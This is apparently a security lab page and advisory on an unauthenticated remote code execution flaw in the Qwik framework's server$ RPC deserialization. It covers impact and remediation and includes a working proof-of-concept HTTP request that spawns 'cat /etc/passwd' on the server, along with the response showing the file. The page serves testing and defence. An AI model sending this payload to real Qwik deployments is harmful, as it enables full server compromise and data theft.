Qwik - Unauthenticated RCE via server$ Deserialization
Run this lab
Lab not starting or behaving wrong? Report a problem with this lab
Summary
Qwik framework versions 1.19.0 and prior contain an unsafe deserialization vulnerability in the server$ RPC mechanism. The importSymbol function in the server platform falls back to using require() with a user-controlled URL path when a QRL symbol is not found in the pre-registered symbols map. This allows any unauthenticated attacker to execute arbitrary code on the server with a single HTTP request. Affects any deployment where require() is available at runtime (standard Node.js).
Technical detail
Impact
An unauthenticated attacker can achieve Remote Code Execution on any Qwik application running on Node.js. This allows full server compromise including data theft, lateral movement, and service disruption.
Exploitation & proof of concept
RCE via server$ QRL Deserialization
The server$ RPC endpoint deserializes QRL objects from application/qwik-json POST requests. The importSymbol function uses require() with attacker-controlled module paths, allowing arbitrary module loading and code execution.
POST /?qfunc=sync HTTP/1.1 Host: {{Hostname}} Content-Type: application/qwik-json X-QRL: sync Origin: http://{{Hostname}} {"_objs":["\u0002./node_modules/cross-spawn/index#sync","cat","/etc/passwd",["2"],["0","1","3"]],"_entry":"4"}
HTTP/1.1 200 OK Content-Type: application/qwik-json {"result":"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin:\n"}
Nuclei detection: vt-2026-27971.nuclei.yaml
Remediation
- Upgrade @builder.io/qwik to version 1.19.1 or later
- Deploy on edge runtimes without require() (Cloudflare Workers, Deno) as mitigation
Lab setup notes
- Access the application at http://localhost:3000
- The Qwik app runs in SSR dev mode with server$ RPC enabled